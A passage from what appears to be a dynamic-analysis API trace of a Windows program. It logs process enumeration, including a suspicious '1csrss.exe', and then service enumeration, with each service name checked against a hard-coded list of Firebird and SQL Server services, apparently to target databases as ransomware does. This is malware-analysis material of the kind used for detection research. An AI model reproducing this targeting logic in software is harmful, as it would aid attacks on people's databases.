pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0297.684] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0297.684] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.685] lstrlenW (lpString="svchost.exe") returned 11 [0297.685] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.686] lstrlenW (lpString="svchost.exe") returned 11 [0297.686] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0297.687] lstrlenW (lpString="dwm.exe") returned 7 [0297.687] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.688] lstrlenW (lpString="svchost.exe") returned 11 [0297.688] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.689] lstrlenW (lpString="svchost.exe") returned 11 [0297.689] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.690] lstrlenW (lpString="svchost.exe") returned 11 [0297.690] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.691] lstrlenW (lpString="svchost.exe") returned 11 [0297.691] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.692] lstrlenW (lpString="svchost.exe") returned 11 [0297.692] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.693] lstrlenW (lpString="svchost.exe") returned 11 [0297.693] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.693] lstrlenW (lpString="svchost.exe") returned 11 [0297.693] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.694] lstrlenW (lpString="svchost.exe") returned 11 [0297.694] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.695] lstrlenW (lpString="svchost.exe") returned 11 [0297.695] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.695] lstrlenW (lpString="svchost.exe") returned 11 [0297.695] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0297.696] lstrlenW (lpString="spoolsv.exe") returned 11 [0297.696] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0297.697] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0297.697] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0297.698] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0297.698] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0297.698] lstrlenW (lpString="Memory Compression") returned 18 [0297.698] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.699] lstrlenW (lpString="svchost.exe") returned 11 [0297.699] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0297.700] lstrlenW (lpString="audiodg.exe") returned 11 [0297.700] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0297.700] lstrlenW (lpString="sihost.exe") returned 10 [0297.700] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.701] lstrlenW (lpString="svchost.exe") returned 11 [0297.701] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0297.702] lstrlenW (lpString="taskhostw.exe") returned 13 [0297.702] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0297.702] lstrlenW (lpString="explorer.exe") returned 12 [0297.703] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0297.703] lstrlenW (lpString="SearchUI.exe") returned 12 [0297.703] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0297.704] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0297.704] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0297.705] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0297.705] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0297.706] lstrlenW (lpString="1csrss.exe") returned 10 [0297.706] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.733] lstrlenW (lpString="svchost.exe") returned 11 [0297.733] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0297.734] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0297.734] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.735] lstrlenW (lpString="svchost.exe") returned 11 [0297.735] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0297.735] CloseHandle (hObject=0x560) returned 1 [0297.736] Sleep (dwMilliseconds=0x1f4) [0298.284] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0298.284] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0298.284] GetLastError () returned 0xea [0298.284] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x4572730 [0298.284] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4572730, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4572730, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0298.285] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0298.285] lstrlenW (lpString="Appinfo") returned 7 [0298.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0298.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0298.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0298.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0298.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0298.285] lstrlenW (lpString="AppXSvc") returned 7 [0298.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0298.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0298.285] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0298.285] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0298.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0298.285] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0298.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0298.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0298.286] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0298.286] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0298.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0298.286] lstrlenW (lpString="Audiosrv") returned 8 [0298.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0298.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0298.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0298.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0298.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0298.286] lstrlenW (lpString="BFE") returned 3 [0298.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0298.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0298.286] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0298.286] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0298.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0298.286] lstrlenW (lpString="BITS") returned 4 [0298.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0298.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0298.286] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0298.286] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0298.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0298.286] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0298.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0298.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0298.286] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0298.286] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0298.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0298.286] lstrlenW (lpString="CDPSvc") returned 6 [0298.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0298.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0298.287] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0298.287] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0298.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0298.287] lstrlenW (lpString="ClickToRunSvc") returned 13 [0298.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0298.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0298.287] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0298.287] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0298.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0298.287] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0298.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0298.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0298.287] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0298.287] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0298.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0298.287] lstrlenW (lpString="CryptSvc") returned 8 [0298.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0298.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0298.287] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0298.287] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0298.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0298.287] lstrlenW (lpString="DcomLaunch") returned 10 [0298.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0298.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0298.287] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0298.287] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0298.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0298.287] lstrlenW (lpString="DeviceAssociationService") returned 24 [0298.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0298.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0298.287] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0298.287] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0298.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0298.288] lstrlenW (lpString="Dhcp") returned 4 [0298.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0298.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0298.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0298.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0298.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0298.288] lstrlenW (lpString="Dnscache") returned 8 [0298.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0298.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0298.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0298.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0298.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0298.288] lstrlenW (lpString="DoSvc") returned 5 [0298.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0298.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0298.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0298.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0298.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0298.288] lstrlenW (lpString="DPS") returned 3 [0298.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0298.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0298.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0298.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0298.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0298.288] lstrlenW (lpString="DusmSvc") returned 7 [0298.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0298.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0298.288] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0298.288] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0298.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0298.288] lstrlenW (lpString="EventLog") returned 8 [0298.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0298.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0298.289] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0298.289] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0298.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0298.289] lstrlenW (lpString="EventSystem") returned 11 [0298.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0298.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0298.289] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0298.289] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0298.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0298.289] lstrlenW (lpString="FontCache") returned 9 [0298.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0298.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0298.289] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0298.289] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0298.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0298.289] lstrlenW (lpString="gpsvc") returned 5 [0298.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0298.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0298.289] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0298.289] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0298.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0298.289] lstrlenW (lpString="iphlpsvc") returned 8 [0298.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0298.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0298.289] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0298.289] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0298.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0298.289] lstrlenW (lpString="KeyIso") returned 6 [0298.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0298.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0298.289] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0298.290] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0298.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0298.290] lstrlenW (lpString="LanmanServer") returned 12 [0298.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0298.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0298.290] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0298.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0298.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0298.290] lstrlenW (lpString="LanmanWorkstation") returned 17 [0298.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0298.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0298.290] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0298.290] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0298.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0298.290] lstrlenW (lpString="lfsvc") returned 5 [0298.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0298.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0298.290] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0298.290] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0298.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0298.290] lstrlenW (lpString="lmhosts") returned 7 [0298.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0298.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0298.290] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0298.290] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0298.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0298.290] lstrlenW (lpString="LSM") returned 3 [0298.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0298.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0298.290] lstrcmpiW 